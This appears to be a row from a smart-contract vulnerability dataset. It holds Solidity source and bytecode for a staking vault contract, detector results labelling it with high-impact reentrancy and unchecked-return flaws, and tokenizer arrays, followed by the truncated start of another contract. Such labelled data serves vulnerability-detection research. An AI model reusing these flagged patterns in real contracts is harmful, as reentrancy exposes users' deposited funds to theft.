Staker)) public stakers; // poolId -> stakerAddress -> staker's info struct Global { uint256 total_stake; uint256 total_out; uint256 earnings_per_share; } mapping(uint256 => Global) public global; // poolId -> global data mapping(uint256 => mapping(address => uint256)) public lastStakeTimes; // poolId -> user's last staked uint256 constant internal magnitude = 10 ** 40; event Deposit(address indexed user, uint256 indexed poolId, uint256 amount); event Withdraw(address indexed user, uint256 indexed poolId, uint256 amount); event Claim(address indexed user, uint256 indexed poolId); constructor() public { governance = tx.origin; } function setGovernance(address _governance) external { require(msg.sender == governance, "!governance"); governance = _governance; } function setVaultMaster(IValueVaultMaster _vaultMaster) external { require(msg.sender == governance, "!governance"); vaultMaster = _vaultMaster; } function setPoolInfo(uint256 _poolId, IERC20 _token, IValueVault _vault, uint256 _minorPoolId, uint256 _startTime, uint256 _individualCap, uint256 _totalCap) public { require(msg.sender == governance, "!governance"); poolMap[_poolId].token = _token; poolMap[_poolId].vault = _vault; poolMap[_poolId].minorPoolId = _minorPoolId; poolMap[_poolId].startTime = _startTime; poolMap[_poolId].individualCap = _individualCap; poolMap[_poolId].totalCap = _totalCap; } function setPoolCap(uint256 _poolId, uint256 _individualCap, uint256 _totalCap) public { require(msg.sender == governance, "!governance"); require(_totalCap == 0 || _totalCap >= _individualCap, "_totalCap < _individualCap"); poolMap[_poolId].individualCap = _individualCap; poolMap[_poolId].totalCap = _totalCap; } function depositAvailable(uint256 _poolId) external view returns(bool) { return poolMap[_poolId].vault.depositAvailable(); } // Deposit tokens to Bank. If we have a strategy, then tokens will be moved there. function deposit(uint256 _poolId, uint256 _amount, bool _farmMinorPool, address _referrer) public discountCHI { PoolInfo storage pool = poolMap[_poolId]; require(now >= pool.startTime, "deposit: after startTime"); require(_amount > 0, "!_amount"); require(address(pool.vault) != address(0), "pool.vault = 0"); require(pool.individualCap == 0 || stakers[_poolId][msg.sender].stake.add(_amount) <= pool.individualCap, "Exceed pool.individualCap"); require(pool.totalCap == 0 || global[_poolId].total_stake.add(_amount) <= pool.totalCap, "Exceed pool.totalCap"); pool.token.safeTransferFrom(msg.sender, address(pool.vault), _amount); pool.vault.mintByBank(pool.token, msg.sender, _amount); if (_farmMinorPool && address(vaultMaster) != address(0)) { address minorPool = vaultMaster.minorPool(); if (minorPool != address(0)) { IValueMinorPool(minorPool).depositOnBehalf(msg.sender, pool.minorPoolId, pool.vault.balanceOf(msg.sender), _referrer); } } _handleDepositStakeInfo(_poolId, _amount); emit Deposit(msg.sender, _poolId, _amount); } function _handleDepositStakeInfo(uint256 _poolId, uint256 _amount) internal { stakers[_poolId][msg.sender].stake = stakers[_poolId][msg.sender].stake.add(_amount); if (global[_poolId].earnings_per_share != 0) { stakers[_poolId][msg.sender].payout = stakers[_poolId][msg.sender].payout.add( global[_poolId].earnings_per_share.mul(_amount).sub(1).div(magnitude).add(1) ); } global[_poolId].total_stake = global[_poolId].total_stake.add(_amount); lastStakeTimes[_poolId][msg.sender] = block.timestamp; } // Withdraw tokens from ValueVaultBank (from a strategy first if there is one). function withdraw(uint256 _poolId, uint256 _amount, bool _farmMinorPool) public discountCHI { PoolInfo storage pool = poolMap[_poolId]; require(address(pool.vault) != address(0), "pool.vault = 0"); require(now >= pool.startTime, "withdraw: after startTime"); require(_amount <= stakers[_poolId][msg.sender].stake, "!balance"); claimProfit(_poolId); if (_farmMinorPool && address(vaultMaster) != address(0)) { address minorPool = vaultMaster.minorPool(); if (minorPool != address(0)) { IValueMinorPool(minorPool).withdrawOnBehalf(msg.sender, pool.minorPoolId, _amount); } } pool.vault.burnByBank(pool.token, msg.sender, _amount); pool.token.safeTransfer(msg.sender, _amount); _handleWithdrawStakeInfo(_poolId, _amount); emit Withdraw(msg.sender, _poolId, _amount); } function _handleWithdrawStakeInfo(uint256 _poolId, uint256 _amount) internal { stakers[_poolId][msg.sender].payout = stakers[_poolId][msg.sender].payout.sub( global[_poolId].earnings_per_share.mul(_amount).div(magnitude) ); stakers[_poolId][msg.sender].stake = stakers[_poolId][msg.sender].stake.sub(_amount); global[_poolId].total_stake = global[_poolId].total_stake.sub(_amount); } function exit(uint256 _poolId, bool _farmMinorPool) external discountCHI { withdraw(_poolId, stakers[_poolId][msg.sender].stake, _farmMinorPool); } // Withdraw without caring about rewards. EMERGENCY ONLY. function emergencyWithdraw(uint256 _poolId) public { uint256 amount = stakers[_poolId][msg.sender].stake; poolMap[_poolId].token.safeTransfer(address(msg.sender), amount); stakers[_poolId][msg.sender].stake = 0; global[_poolId].total_stake = global[_poolId].total_stake.sub(amount); } function harvestVault(uint256 _poolId) external discountCHI { poolMap[_poolId].vault.harvestAllStrategies(_poolId); } function harvestStrategy(uint256 _poolId, IStrategy _strategy) external discountCHI { poolMap[_poolId].vault.harvestStrategy(_strategy, _poolId); } function make_profit(uint256 _poolId, uint256 _amount) public { require(_amount > 0, "not 0"); PoolInfo storage pool = poolMap[_poolId]; pool.token.safeTransferFrom(msg.sender, address(this), _amount); if (global[_poolId].total_stake > 0) { global[_poolId].earnings_per_share = global[_poolId].earnings_per_share.add( _amount.mul(magnitude).div(global[_poolId].total_stake) ); } global[_poolId].total_out = global[_poolId].total_out.add(_amount); } function cal_out(uint256 _poolId, address user) public view returns (uint256) { uint256 _cal = global[_poolId].earnings_per_share.mul(stakers[_poolId][user].stake).div(magnitude); if (_cal < stakers[_poolId][user].payout) { return 0; } else { return _cal.sub(stakers[_poolId][user].payout); } } function cal_out_pending(uint256 _pendingBalance, uint256 _poolId, address user) public view returns (uint256) { uint256 _earnings_per_share = global[_poolId].earnings_per_share.add( _pendingBalance.mul(magnitude).div(global[_poolId].total_stake) ); uint256 _cal = _earnings_per_share.mul(stakers[_poolId][user].stake).div(magnitude); _cal = _cal.sub(cal_out(_poolId, user)); if (_cal < stakers[_poolId][user].payout) { return 0; } else { return _cal.sub(stakers[_poolId][user].payout); } } function claimProfit(uint256 _poolId) public discountCHI { uint256 out = cal_out(_poolId, msg.sender); stakers[_poolId][msg.sender].payout = global[_poolId].earnings_per_share.mul(stakers[_poolId][msg.sender].stake).div(magnitude); stakers[_poolId][msg.sender].total_out = stakers[_poolId][msg.sender].total_out.add(out); if (out > 0) { PoolInfo storage pool = poolMap[_poolId]; uint256 _stakeTime = now - lastStakeTimes[_poolId][msg.sender]; if (address(vaultMaster) != address(0) && _stakeTime < vaultMaster.minStakeTimeToClaimVaultReward()) { // claim too soon uint256 actually_out = _stakeTime.mul(out).mul(1e18).div(vaultMaster.minStakeTimeToClaimVaultReward()).div(1e18); uint256 earlyClaimCost = out.sub(actually_out); safeTokenTransfer(pool.token, vaultMaster.performanceReward(), earlyClaimCost); out = actually_out; } safeTokenTransfer(pool.token, msg.sender, out); } } // Safe token transfer function, just in case if rounding error causes pool to not have enough token. function safeTokenTransfer(IERC20 _token, address _to, uint256 _amount) internal { uint256 bal = _token.balanceOf(address(this)); if (_amount > bal) { _token.safeTransfer(_to, bal); } else { _token.safeTransfer(_to, _amount); } } /** * @dev if there is any token stuck we will need governance support to rescue the fund */ function governanceRescueFromStrategy(IERC20 _token, IStrategy _strategy) external { require(msg.sender == governance, "!governance"); _strategy.governanceRescueToken(_token); } /** * This function allows governance to take unsupported tokens out of the contract. * This is in an effort to make someone whole, should they seriously mess up. * There is no guarantee governance will vote to return these. * It also allows for removal of airdropped tokens. */ function governanceRecoverUnsupported(IERC20 _token, uint256 amount, address to) external { require(msg.sender == governance, "!governance"); _token.safeTransfer(to, amount); } }
0x608060405234801561001057600080fd5b50600436106101585760003560e01c806375b935d4116100c3578063c92aecc41161007c578063c92aecc414610453578063cde143231461045b578063d22dee4814610487578063dda2a132146104a4578063ded44871146104d0578063f2faa1b91461051e57610158565b806375b935d41461038657806385c350f5146103ab578063974c5226146103ce578063ab033ea9146103d6578063bc650a57146103fc578063bebb36ef1461042557610158565b806333cfcd3b1161011557806333cfcd3b1461028c5780635312ea8e146102b757806354575af4146102d45780635aa6e6751461030a5780635e2256211461032e57806361c5ea3b1461035a57610158565b80630b771f961461015d5780630cbac22a146101a15780630dc0f7a3146101c05780631b12bcbc146101f15780631f7e5a691461022c5780632968f61614610252575b600080fd5b61018f6004803603606081101561017357600080fd5b50803590602081013590604001356001600160a01b031661057a565b60408051918252519081900360200190f35b6101be600480360360208110156101b757600080fd5b503561069f565b005b6101dd600480360360208110156101d657600080fd5b50356107ca565b604080519115158252519081900360200190f35b61020e6004803603602081101561020757600080fd5b503561084c565b60408051938452602084019290925282820152519081900360600190f35b6101be6004803603602081101561024257600080fd5b50356001600160a01b031661086d565b6101be6004803603608081101561026857600080fd5b508035906020810135906040810135151590606001356001600160a01b03166108dc565b6101be600480360360608110156102a257600080fd5b50803590602081013590604001351515610e0c565b6101be600480360360208110156102cd57600080fd5b50356111c6565b6101be600480360360608110156102ea57600080fd5b506001600160a01b0381358116916020810135916040909101351661124a565b6103126112b0565b604080516001600160a01b039092168252519081900360200190f35b61020e6004803603604081101561034457600080fd5b50803590602001356001600160a01b03166112bf565b61018f6004803603604081101561037057600080fd5b50803590602001356001600160a01b03166112eb565b6101be6004803603604081101561039c57600080fd5b508035906020013515156113b2565b6101be600480360360408110156103c157600080fd5b5080359060200135611494565b61031261159b565b6101be600480360360208110156103ec57600080fd5b50356001600160a01b03166115aa565b6101be6004803603606081101561041257600080fd5b5080359060208101359060400135611619565b6101be6004803603604081101561043b57600080fd5b506001600160a01b03813581169160200135166116e1565b6103126117ad565b6101be6004803603604081101561047157600080fd5b50803590602001356001600160a01b03166117bf565b6101be6004803603602081101561049d57600080fd5b503561187b565b61018f600480360360408110156104ba57600080fd5b50803590602001356001600160a01b0316611b7c565b6101be600480360360e08110156104e657600080fd5b508035906001600160a01b03602082013581169160408101359091169060608101359060808101359060a08101359060c00135611b99565b61053b6004803603602081101561053457600080fd5b5035611c42565b604080516001600160a01b039788168152959096166020860152848601939093526060840191909152608083015260a082015290519081900360c00190f35b60008281526004602052604081205481906105ca906105b2906105ac886b1d6329f1c35ca4bfabb9f56160281b611c86565b90611cdf565b60008681526004602052604090206002015490611d21565b60008581526003602090815260408083206001600160a01b038816845290915281205491925090610611906b1d6329f1c35ca4bfabb9f56160281b906105ac908590611c86565b905061062761062086866112eb565b8290611d7b565b60008681526003602090815260408083206001600160a01b038916845290915290206001015490915081101561066257600092505050610698565b60008581526003602090815260408083206001600160a01b0388168452909152902060010154610693908290611d7b565b925050505b9392505050565b60005a60008381526002602052604080822060010154815163171a8f7f60e31b81526004810187905291519394506001600160a01b03169263b8d47bf89260248084019391929182900301818387803b1580156106fb57600080fd5b505af115801561070f573d6000803e3d6000fd5b5060009250506010360290505a8361520801030190506d4946c0e9f43f4dee607b0ef1fa1c6001600160a01b031663079d229f3361a0aa8461374a018161075257fe5b046040518363ffffffff1660e01b815260040180836001600160a01b0316815260200182815260200192505050602060405180830381600087803b15801561079957600080fd5b505af11580156107ad573d6000803e3d6000fd5b505050506040513d60208110156107c357600080fd5b5050505050565b6000818152600260209081526040808320600101548151631873fb6560e31b815291516001600160a01b039091169263c39fdb289260048082019391829003018186803b15801561081a57600080fd5b505afa15801561082e573d6000803e3d6000fd5b505050506040513d602081101561084457600080fd5b505192915050565b60046020526000908152604090208054600182015460029092015490919083565b6000546001600160a01b031633146108ba576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b600180546001600160a01b0319166001600160a01b0392909216919091179055565b60005a600086815260026020526040902060038101549192509042101561094a576040805162461bcd60e51b815260206004820152601860248201527f6465706f7369743a20616674657220737461727454696d650000000000000000604482015290519081900360640190fd5b6000851161098a576040805162461bcd60e51b81526020600482015260086024820152670857d85b5bdd5b9d60c21b604482015290519081900360640190fd5b60018101546001600160a01b03166109da576040805162461bcd60e51b815260206004820152600e60248201526d0706f6f6c2e7661756c74203d20360941b604482015290519081900360640190fd5b60048101541580610a12575060048101546000878152600360209081526040808320338452909152902054610a0f9087611d21565b11155b610a63576040805162461bcd60e51b815260206004820152601960248201527f45786365656420706f6f6c2e696e646976696475616c43617000000000000000604482015290519081900360640190fd5b60058101541580610a9057506005810154600087815260046020526040902054610a8d9087611d21565b11155b610ad8576040805162461bcd60e51b8152602060048201526014602482015273045786365656420706f6f6c2e746f74616c4361760641b604482015290519081900360640190fd5b60018101548154610af8916001600160a01b039182169133911688611dbd565b6001810154815460408051630345c8d560e61b81526001600160a01b039283166004820152336024820152604481018990529051919092169163d172354091606480830192600092919082900301818387803b158015610b5757600080fd5b505af1158015610b6b573d6000803e3d6000fd5b50505050838015610b8657506001546001600160a01b031615155b15610d12576001546040805163f89536e160e01b815290516000926001600160a01b03169163f89536e1916004808301926020929190829003018186803b158015610bd057600080fd5b505afa158015610be4573d6000803e3d6000fd5b505050506040513d6020811015610bfa57600080fd5b505190506001600160a01b03811615610d105760028201546001830154604080516370a0823160e01b8152336004820181905291516001600160a01b03808716956371b629b69590939116916370a0823191602480820192602092909190829003018186803b158015610c6c57600080fd5b505afa158015610c80573d6000803e3d6000fd5b505050506040513d6020811015610c9657600080fd5b5051604080516001600160e01b031960e087901b1681526001600160a01b0394851660048201526024810193909352604483019190915291881660648201529051608480830192600092919082900301818387803b158015610cf757600080fd5b505af1158015610d0b573d6000803e3d6000fd5b505050505b505b610d1c8686611e17565b604080518681529051879133917f90890809c654f11d6e72a28fa60149770a0d11ec6c92319d6ceb2bb0a4ea1a159181900360200190a3506000601036025a8361520801030190506d4946c0e9f43f4dee607b0ef1fa1c6001600160a01b031663079d229f3361a0aa8461374a0181610d9157fe5b046040518363ffffffff1660e01b815260040180836001600160a01b0316815260200182815260200192505050602060405180830381600087803b158015610dd857600080fd5b505af1158015610dec573d6000803e3d6000fd5b505050506040513d6020811015610e0257600080fd5b5050505050505050565b60005a60008581526002602052604090206001810154919250906001600160a01b0316610e71576040805162461bcd60e51b815260206004820152600e60248201526d0706f6f6c2e7661756c74203d20360941b604482015290519081900360640190fd5b8060030154421015610eca576040805162461bcd60e51b815260206004820152601960248201527f77697468647261773a20616674657220737461727454696d6500000000000000604482015290519081900360640190fd5b6000858152600360209081526040808320338452909152902054841115610f23576040805162461bcd60e51b81526020600482015260086024820152672162616c616e636560c01b604482015290519081900360640190fd5b610f2c8561187b565b828015610f4357506001546001600160a01b031615155b1561103f576001546040805163f89536e160e01b815290516000926001600160a01b03169163f89536e1916004808301926020929190829003018186803b158015610f8d57600080fd5b505afa158015610fa1573d6000803e3d6000fd5b505050506040513d6020811015610fb757600080fd5b505190506001600160a01b0381161561103d5760028201546040805163a921073760e01b8152336004820152602481019290925260448201879052516001600160a01b0383169163a921073791606480830192600092919082900301818387803b15801561102457600080fd5b505af1158015611038573d6000803e3d6000fd5b505050505b505b6001810154815460408051638de1a3c760e01b81526001600160a01b0392831660048201523360248201526044810188905290519190921691638de1a3c791606480830192600092919082900301818387803b15801561109e57600080fd5b505af11580156110b2573d6000803e3d6000fd5b505082546110cd92506001600160a01b031690503386611f42565b6110d78585611f94565b604080518581529051869133917ff279e6a1f5e320cca91135676d9cb6e44ca8a08c0b88342bcdb1144f6511b5689181900360200190a3506000601036025a8361520801030190506d4946c0e9f43f4dee607b0ef1fa1c6001600160a01b031663079d229f3361a0aa8461374a018161114c57fe5b046040518363ffffffff1660e01b815260040180836001600160a01b0316815260200182815260200192505050602060405180830381600087803b15801561119357600080fd5b505af11580156111a7573d6000803e3d6000fd5b505050506040513d60208110156111bd57600080fd5b50505050505050565b6000818152600360209081526040808320338085529083528184205485855260029093529220549091611203916001600160a01b03169083611f42565b6000828152600360209081526040808320338452825280832083905584835260049091529020546112349082611d7b565b6000928352600460205260409092209190915550565b6000546001600160a01b03163314611297576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b6112ab6001600160a01b0384168284611f42565b505050565b6000546001600160a01b031681565b600360209081526000928352604080842090915290825290208054600182015460029092015490919083565b60008281526003602090815260408083206001600160a01b03851684528252808320548584526004909252822060020154829161133d916b1d6329f1c35ca4bfabb9f56160281b916105ac9190611c86565b60008581526003602090815260408083206001600160a01b03881684529091529020600101549091508110156113775760009150506113ac565b60008481526003602090815260408083206001600160a01b03871684529091529020600101546113a8908290611d7b565b9150505b92915050565b60005a60008481526003602090815260408083203384529091529020549091506113de90849084610e0c565b6000601036025a8361520801030190506d4946c0e9f43f4dee607b0ef1fa1c6001600160a01b031663079d229f3361a0aa8461374a018161141b57fe5b046040518363ffffffff1660e01b815260040180836001600160a01b0316815260200182815260200192505050602060405180830381600087803b15801561146257600080fd5b505af1158015611476573d6000803e3d6000fd5b505050506040513d602081101561148c57600080fd5b505050505050565b600081116114d1576040805162461bcd60e51b815260206004820152600560248201526406e6f7420360dc1b604482015290519081900360640190fd5b600082815260026020526040902080546114f6906001600160a01b0316333085611dbd565b60008381526004602052604090205415611565576000838152600460205260409020546115529061153a906105ac856b1d6329f1c35ca4bfabb9f56160281b611c86565b60008581526004602052604090206002015490611d21565b6000848152600460205260409020600201555b6000838152600460205260409020600101546115819083611d21565b600093845260046020526040909320600101929092555050565b6001546001600160a01b031681565b6000546001600160a01b031633146115f7576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b600080546001600160a01b0319166001600160a01b0392909216919091179055565b6000546001600160a01b03163314611666576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b8015806116735750818110155b6116c4576040805162461bcd60e51b815260206004820152601a60248201527f5f746f74616c436170203c205f696e646976696475616c436170000000000000604482015290519081900360640190fd5b600092835260026020526040909220600481019190915560050155565b6000546001600160a01b0316331461172e576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b806001600160a01b031663a0682427836040518263ffffffff1660e01b815260040180826001600160a01b03168152602001915050602060405180830381600087803b15801561177d57600080fd5b505af1158015611791573d6000803e3d6000fd5b505050506040513d60208110156117a757600080fd5b50505050565b6d4946c0e9f43f4dee607b0ef1fa1c81565b60005a60008481526002602052604080822060010154815163205b19fd60e01b81526001600160a01b03878116600483015260248201899052925194955091169263205b19fd9260448084019391929182900301818387803b15801561182457600080fd5b505af1158015611838573d6000803e3d6000fd5b5060009250506010360290505a8361520801030190506d4946c0e9f43f4dee607b0ef1fa1c6001600160a01b031663079d229f3361a0aa8461374a018161141b57fe5b60005a9050600061188c83336112eb565b60008481526003602090815260408083203384528252808320548784526004909252909120600201549192506118d7916b1d6329f1c35ca4bfabb9f56160281b916105ac9190611c86565b600084815260036020908152604080832033845290915290206001810191909155600201546119069082611d21565b60008481526003602090815260408083203384529091529020600201558015611b3e57600083815260026020908152604080832060058352818420338552909252909120546001544291909103906001600160a01b0316158015906119e35750600160009054906101000a90046001600160a01b03166001600160a01b031663b636654e6040518163ffffffff1660e01b815260040160206040518083038186803b1580156119b457600080fd5b505afa1580156119c8573d6000803e3d6000fd5b505050506040513d60208110156119de57600080fd5b505181105b15611b25576000611a8f670de0b6b3a76400006105ac600160009054906101000a90046001600160a01b03166001600160a01b031663b636654e6040518163ffffffff1660e01b815260040160206040518083038186803b158015611a4757600080fd5b505afa158015611a5b573d6000803e3d6000fd5b505050506040513d6020811015611a7157600080fd5b50516105ac670de0b6b3a7640000611a89888b611c86565b90611c86565b90506000611a9d8583611d7b565b8454600154604080516350773b5b60e11b81529051939450611b21936001600160a01b03938416939092169163a0ee76b691600480820192602092909190829003018186803b158015611aef57600080fd5b505afa158015611b03573d6000803e3d6000fd5b505050506040513d6020811015611b1957600080fd5b505183612048565b5092505b8154611b3b906001600160a01b03163385612048565b50505b506000601036025a8361520801030190506d4946c0e9f43f4dee607b0ef1fa1c6001600160a01b031663079d229f3361a0aa8461374a018161075257fe5b600560209081526000928352604080842090915290825290205481565b6000546001600160a01b03163314611be6576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b600096875260026020819052604090972080546001600160a01b039788166001600160a01b0319918216178255600182018054979098169616959095179095559483019190915560038201556004810192909255600590910155565b60026020819052600091825260409091208054600182015492820154600383015460048401546005909401546001600160a01b039384169590931693919290919086565b600082611c95575060006113ac565b82820282848281611ca257fe5b04146106985760405162461bcd60e51b81526004018080602001828103825260218152602001806124326021913960400191505060405180910390fd5b600061069883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506120fa565b600082820183811015610698576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b600061069883836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061219c565b604080516001600160a01b0380861660248301528416604482015260648082018490528251808303909101815260849091019091526020810180516001600160e01b03166323b872dd60e01b1790526117a79085906121f6565b6000828152600360209081526040808320338452909152902054611e3b9082611d21565b600083815260036020908152604080832033845282528083209390935584825260049052206002015415611eff57611ee1611ebe6001611eb86b1d6329f1c35ca4bfabb9f56160281b6105ac6001611eb288600460008c815260200190815260200160002060020154611c8690919063ffffffff16565b90611d7b565b90611d21565b600084815260036020908152604080832033845290915290206001015490611d21565b60008381526003602090815260408083203384529091529020600101555b600082815260046020526040902054611f189082611d21565b60009283526004602090815260408085209290925560058152818420338552905290912042905550565b604080516001600160a01b038416602482015260448082018490528251808303909101815260649091019091526020810180516001600160e01b031663a9059cbb60e01b1790526112ab9084906121f6565b600082815260046020526040902060020154611fec90611fc9906b1d6329f1c35ca4bfabb9f56160281b906105ac9085611c86565b600084815260036020908152604080832033845290915290206001015490611d7b565b600083815260036020908152604080832033845290915290206001810191909155546120189082611d7b565b60008381526003602090815260408083203384528252808320939093558482526004905220546112349082611d7b565b6000836001600160a01b03166370a08231306040518263ffffffff1660e01b815260040180826001600160a01b0316815260200191505060206040518083038186803b15801561209757600080fd5b505afa1580156120ab573d6000803e3d6000fd5b505050506040513d60208110156120c157600080fd5b50519050808211156120e6576120e16001600160a01b0385168483611f42565b6117a7565b6117a76001600160a01b0385168484611f42565b600081836121865760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561214b578181015183820152602001612133565b50505050905090810190601f1680156121785780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b50600083858161219257fe5b0495945050505050565b600081848411156121ee5760405162461bcd60e51b815260206004820181815283516024840152835190928392604490910191908501908083836000831561214b578181015183820152602001612133565b505050900390565b606061224b826040518060400160405280602081526020017f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c6564815250856001600160a01b03166122a79092919063ffffffff16565b8051909150156112ab5780806020019051602081101561226a57600080fd5b50516112ab5760405162461bcd60e51b815260040180806020018281038252602a815260200180612453602a913960400191505060405180910390fd5b60606122b684846000856122be565b949350505050565b60606122c98561242b565b61231a576040805162461bcd60e51b815260206004820152601d60248201527f416464726573733a2063616c6c20746f206e6f6e2d636f6e7472616374000000604482015290519081900360640190fd5b60006060866001600160a01b031685876040518082805190602001908083835b602083106123595780518252601f19909201916020918201910161233a565b6001836020036101000a03801982511681845116808217855250505050505090500191505060006040518083038185875af1925050503d80600081146123bb576040519150601f19603f3d011682016040523d82523d6000602084013e6123c0565b606091505b509150915081156123d45791506122b69050565b8051156123e45780518082602001fd5b60405162461bcd60e51b815260206004820181815286516024840152865187939192839260440191908501908083836000831561214b578181015183820152602001612133565b3b15159056fe536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f775361666545524332303a204552433230206f7065726174696f6e20646964206e6f742073756363656564a2646970667358221220237d135f40618b39034f726a296c12fe0765c70aad25a67ccb8ff27c3ff2723364736f6c634300060c0033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'reentrancy-eth', 'impact': 'High', 'confidence': 'Medium'}, {'check': 'reentrancy-no-eth', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2629, 4783, 6679, 2497, 22907, 24096, 2581, 21619, 14141, 2683, 29292, 16147, 14142, 2094, 26976, 2683, 21926, 2487, 2063, 2581, 2620, 3540, 22025, 2575, 8586, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 10975, 8490, 2863, 5024, 3012, 1014, 1012, 1020, 1012, 2260, 1025, 1013, 1013, 5371, 1024, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1013, 19204, 1013, 9413, 2278, 11387, 1013, 29464, 11890, 11387, 1012, 14017, 1013, 1008, 1008, 1008, 1030, 16475, 8278, 1997, 1996, 9413, 2278, 11387, 3115, 2004, 4225, 1999, 1996, 1041, 11514, 1012, 1008, 1013, 8278, 29464, 11890, 11387, 1063, 1013, 1008, 1008, 1008, 1030, 16475, 5651, 1996, 3815, 1997, 19204, 2015, 1999, 4598, 1012, 1008, 1013, 3853, 21948, 6279, 22086, 1006, 1007, 6327, 3193, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
58,814
0x95bf7e307bc1ab0ba38ae10fc27084bc36fcd605
/** *Submitted for verification at BscScan.com on 2021-06-02 */ // SPDX-License-Identifier: GPL-3.0-or-later pragma solidity 0.8.2; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { function totalSupply() external view returns (uint256); function decimals() external view returns (uint8); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); function permit(address target, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s) external; function transferWithPermit(address target, address to, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @dev Interface of the ERC2612 standard as defined in the EIP. * * Adds the {permit} method, which can be used to change one's * {IERC20-allowance} without having to send a transaction, by signing a * message. This allows users to spend tokens without having to hold Ether. * * See https://eips.ethereum.org/EIPS/eip-2612. */ interface IERC2612 { /** * @dev Returns the current ERC2612 nonce for `owner`. This value must be * included whenever a signature is generated for {permit}. * * Every successful call to {permit} increases ``owner``'s nonce by one. This * prevents a signature from being used multiple times. */ function nonces(address owner) external view returns (uint256); } /// @dev Wrapped ERC-20 v10 (AnyswapV3ERC20) is an ERC-20 ERC-20 wrapper. You can `deposit` ERC-20 and obtain an AnyswapV3ERC20 balance which can then be operated as an ERC-20 token. You can /// `withdraw` ERC-20 from AnyswapV3ERC20, which will then burn AnyswapV3ERC20 token in your wallet. The amount of AnyswapV3ERC20 token in any wallet is always identical to the /// balance of ERC-20 deposited minus the ERC-20 withdrawn with that specific wallet. interface IAnyswapV3ERC20 is IERC20, IERC2612 { /// @dev Sets `value` as allowance of `spender` account over caller account's AnyswapV3ERC20 token, /// after which a call is executed to an ERC677-compliant contract with the `data` parameter. /// Emits {Approval} event. /// Returns boolean value indicating whether operation succeeded. /// For more information on approveAndCall format, see https://github.com/ethereum/EIPs/issues/677. function approveAndCall(address spender, uint256 value, bytes calldata data) external returns (bool); /// @dev Moves `value` AnyswapV3ERC20 token from caller's account to account (`to`), /// after which a call is executed to an ERC677-compliant contract with the `data` parameter. /// A transfer to `address(0)` triggers an ERC-20 withdraw matching the sent AnyswapV3ERC20 token in favor of caller. /// Emits {Transfer} event. /// Returns boolean value indicating whether operation succeeded. /// Requirements: /// - caller account must have at least `value` AnyswapV3ERC20 token. /// For more information on transferAndCall format, see https://github.com/ethereum/EIPs/issues/677. function transferAndCall(address to, uint value, bytes calldata data) external returns (bool); } interface ITransferReceiver { function onTokenTransfer(address, uint, bytes calldata) external returns (bool); } interface IApprovalReceiver { function onTokenApproval(address, uint, bytes calldata) external returns (bool); } library Address { function isContract(address account) internal view returns (bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != 0x0 && codehash != accountHash); } } library SafeERC20 { using Address for address; function safeTransfer(IERC20 token, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint value) internal { require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function callOptionalReturn(IERC20 token, bytes memory data) private { require(address(token).isContract(), "SafeERC20: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: 